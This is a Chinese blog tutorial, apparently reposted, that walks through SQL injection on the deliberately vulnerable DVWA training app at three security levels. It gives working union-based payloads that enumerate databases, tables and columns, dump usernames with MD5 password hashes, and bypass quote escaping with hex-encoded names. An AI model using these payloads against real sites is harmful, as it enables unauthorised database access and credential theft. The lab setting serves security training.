ITPub博客

首页 > 数据库 > 数据库开发技术 > SQL注入指南(DVWA)

SQL注入指南(DVWA)

原创 数据库开发技术 作者:逍遥子 时间:2022-05-08 08:00:00 0 删除 编辑

SQL注入是WEB肾透测试中最常见的攻击手段之一。本文将从DVWA平台出发,为你揭秘SQL注入常用的方法和技能。

🌰关于DVWA

DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助Web开发者更好的理解Web应用安全防范的过程。

项目地址:https://dvwa.co.uk/ 安装很简单,我也不再说了。

🍭设置级别

点击左侧DVWA Security,在右侧你可以看到三个选项:

Low #低级
Medium #中级
High #高级

🍵低级(Low)

选择SQL Injection,我们可以看到一个输入框:然后在输入框中输入用户ID,就能返回用户的信息。

🍜测试列

在输入框中输入:

11' order by 3 #

#用于将后面的语句全部注释,将语句末尾控制在我们的手里,防止出现意外语法错误。

你会获得返回结果:

1Unknown column '3' in 'order clause'

这是因为我们使用order方法将第三列排序,然而并没有第三列。

🍢更换语句:

11' order by 2 # 

此时你会发现结果被成功返回了:

1ID: 1' order by 2 # 
2First name: admin
3Surname: admin

这说明该数据表有2列,所以如果我们要使用union进行联合查询的时候,也要查询2列。输入语句:

11' union select 1,2 # 

你会得到返回结果:

1ID: 1' union select 1,2 #   
2First name: admin  
3Surname: admin
4
5ID: 1'
 union select 1,2 #   
6First name: 1  
7Surname: 2

这说明第一列会被显示为First name,第二列会被显示为Surname。

🌽组建语句

语句执行方法:1' [SQL语句] #如要使用union联合查询,必须返回两列,否则将报错。好的,那么我们需要先组建一条语句用于获取数据库信息。

🎃获取全部数据库

1select group_concat(schema_name) from information_schema.schemata

你可以搭建一个本地MySQL,并对本语句进行测试。

将注入语句与其拼接:

11' union select group_concat(schema_name) from information_schema.schemata # 

填写到输入框中,我们会得到返回结果:

1The used SELECT statements have a different number of columns原因是由于我们使用union查询列数不同导致的。修改语句:

11' union select 1,group_concat(schema_name) from information_schema.schemata # 

这里添加的1,是直接选择的结果,将1定义为第一列的结果。得到如下返回结果:

1ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #   
2First name: admin  
3Surname: admin
4
5ID: 1'
 union select 1,group_concat(schema_name) from information_schema.schemata #   
6First name: 1  
7Surname: information_schema,dvwa,mysql,performance_schema

此时DVWA返回了MySQL中的全部数据库。

尝试删除group_concat()保留其括号中的列名,比对运行结果的不同。

☃️获取当前所在数据库

如要查询DVWA正在使用哪个数据库,你可以组建语句:

11' union select 1,database() # 

得到返回结果:

1ID: 1' union select 1,database() #   
2First name: admin  
3Surname: admin
4
5ID: 1'
 union select 1,database() #   
6First name: 1  
7Surname: dvwa

此处的database()方法可以获取当前使用的数据库。

🐲显示数据库中所有表

刚刚我们查询得知了DVWA正在使用的数据库名为dvwa。现在我们组建语句查询该数据库中所有表:

11' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 

返回结果:

1ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   
2First name: admin  
3Surname: admin
4
5ID: 1'
 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   
6First name: 1  
7Surname: guestbook,users

我们可以看到,当前数据库(dvwa)中有两个表:guestbook、users。

🎊获取表中列名

整理一下,现在我们的目标是:

  • 数据库名:dvwa
  • 表名:users
  • 求:users表中的列名

🎳组建语句:

11' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" # 

返回结果:

1ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #   
2First name: admin  
3Surname: admin
4
5ID: 1'
 union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #   
6First name: 1  
7Surname: user_id,first_name,last_name,user,password,avatar

现在我们得知,users表中的列为:user_id、first_name、last_name、user、password、avatar。

🏓获取列中数据

最后一步,我们现在已知情况为:

  • 数据库名:dvwa
  • 表名:users
  • 重要的列名:user、password

🏹组建语句:

11' union select user,password from dvwa.users # 

返回结果:

 1ID: 1' union select user,password from dvwa.users #   
 2First name: admin  
 3Surname: admin
 4
 5ID: 1'
 union select user,password from dvwa.users #   
 6First name: admin  
 7Surname: 5f4dcc3b5aa765d61d8327deb882cf99
 8
 9ID: 1' union select user,password from dvwa.users #   
10First name: gordonb  
11Surname: e99a18c428cb38d5f260853678922e03
12
13ID: 1'
 union select user,password from dvwa.users #   
14First name: 1337  
15Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
16
17ID: 1' union select user,password from dvwa.users #   
18First name: pablo  
19Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
20
21ID: 1'
 union select user,password from dvwa.users #   
22First name: smithy  
23Surname: 5f4dcc3b5aa765d61d8327deb882cf99

可以看到我们成功返回了用户名和密码。但这个密码是加密的,你可能觉得比较眼熟,这么长大概率是用了md5加密。然后利用MD5网站对其解密即可。

🥌中级(Medium)

和初级一样,我们输入如下语句:

11' order by 2 # 

但得到了如下结果:

1`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 2 #' at line 1`

返回页面,点击右下角的View Source阅读源码,我们会发现:

1$id = mysql_real_escape_string($id);

出现了一个初级没有的方法:mysql_real_escape_string将字符串中的:\x00、\n、\r、\、'、"、\x1a进行了转义的处理,而我们使用的单引号被从'转义为了\',所以注入语句无法执行。换个思路,如果我们不使用单引号呢?

🏸组建语句:

11 order by 2 # 

返回结果:

1ID: 1 order by 2 # 
2First name: admin
3Surname: admin

不错!但为什么会这样呢?源码比对对比低级和中级的SQL执行语句:

低级:

1$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

中级:

1$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

仔细看,你会发现中级去掉了单引号,也就是说我们不加单引号也可以同时执行两条语句。由于没有使用单引号单独转换$id为字符串,所以被称为数字型注入。

⛷️实例测试

假设注入语句:

11' order by 2 # 

注入到低级语句,组成语句:

1SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 # '

我们可以看到,虽然多出了一个单引号,但我们使用#将其注释,所以#后面的不生效,语句成立。

注入到中级语句时,单引号会被过滤,语句无效。

再试试中级的注入语句`1 order by 2 #`` 注入到中级语句:

1SELECT first_name, last_name FROM users WHERE user_id = 1 order by 2

没有单引号的干扰,语句可以正常执行。

目前已知可渗透条件 语句执行方法:1 [SQL语句] #如要使用union联合查询,必须返回两列,否则将报错。你已经知道了可渗透条件,现在照着上一章的方法试着自己宕出用户名和密码吧!当你在测试的时候遇到了问题,请继续往下读:测试语句中字符串的引号被转义

11 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 

这本应该是一条正确的语句,但'users'无论是使用单引号还是双引号都会被转义,所以我们应该将其转为16进制。

在Python中输入如下命令:

1import binascii
2print binascii.b2a_hex('users')

这会将users转为16进制,这样我们就绕过了引号,且能被MySQL正常识别。

返回结果:

1>>> import binascii
2>>> print binascii.b2a_hex('users')
37573657273

7573657273便是users转换为16进制的结果。不仅可以使用Python进行进制转换,你也可以使用其它工具进行转换。

但7573657273会被MySQL识别为整数,我们需要将它包装为0x7573657273才能被正常识别为16进制。

🚴‍♀️组成语句:

11 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # 

得到返回结果:

1ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
2First name: admin  
3Surname: admin
4
5ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
6First name: 1  
7Surname: user_id,first_name,last_name,user,password,avatar

🏆高级(High)

阅读源码:

<?php  
if( isset( $_SESSION [ 'id' ] ) ) {  
// Get input  
$id = $_SESSION[ 'id' ];  
 
// Check database  
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";  
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );  
 
// Get results  
$num = mysql_numrows( $result );  
$i   = 0;  
    while( $i < $num ) {  
// Get values  
$first = mysql_result( $result, $i, "first_name" );  
$last  = mysql_result( $result, $i, "last_name" );  
  
// Feedback for end user  
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";  
  
// Increase loop count  
$i++;  
    }  
 
mysql_close();  
}  
  
?>

通过和中级的对比,我们可以看到多出了LIMIT 1的限制,它限制只输出一条结果。但由于我们使用了#进行注释,所以使用中级的方法就可以保证LIMIT 1不被执行。

更多精彩文章 关注我们

原文作者:Kali笔记;如有侵权,请联系管理员删除。

请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444347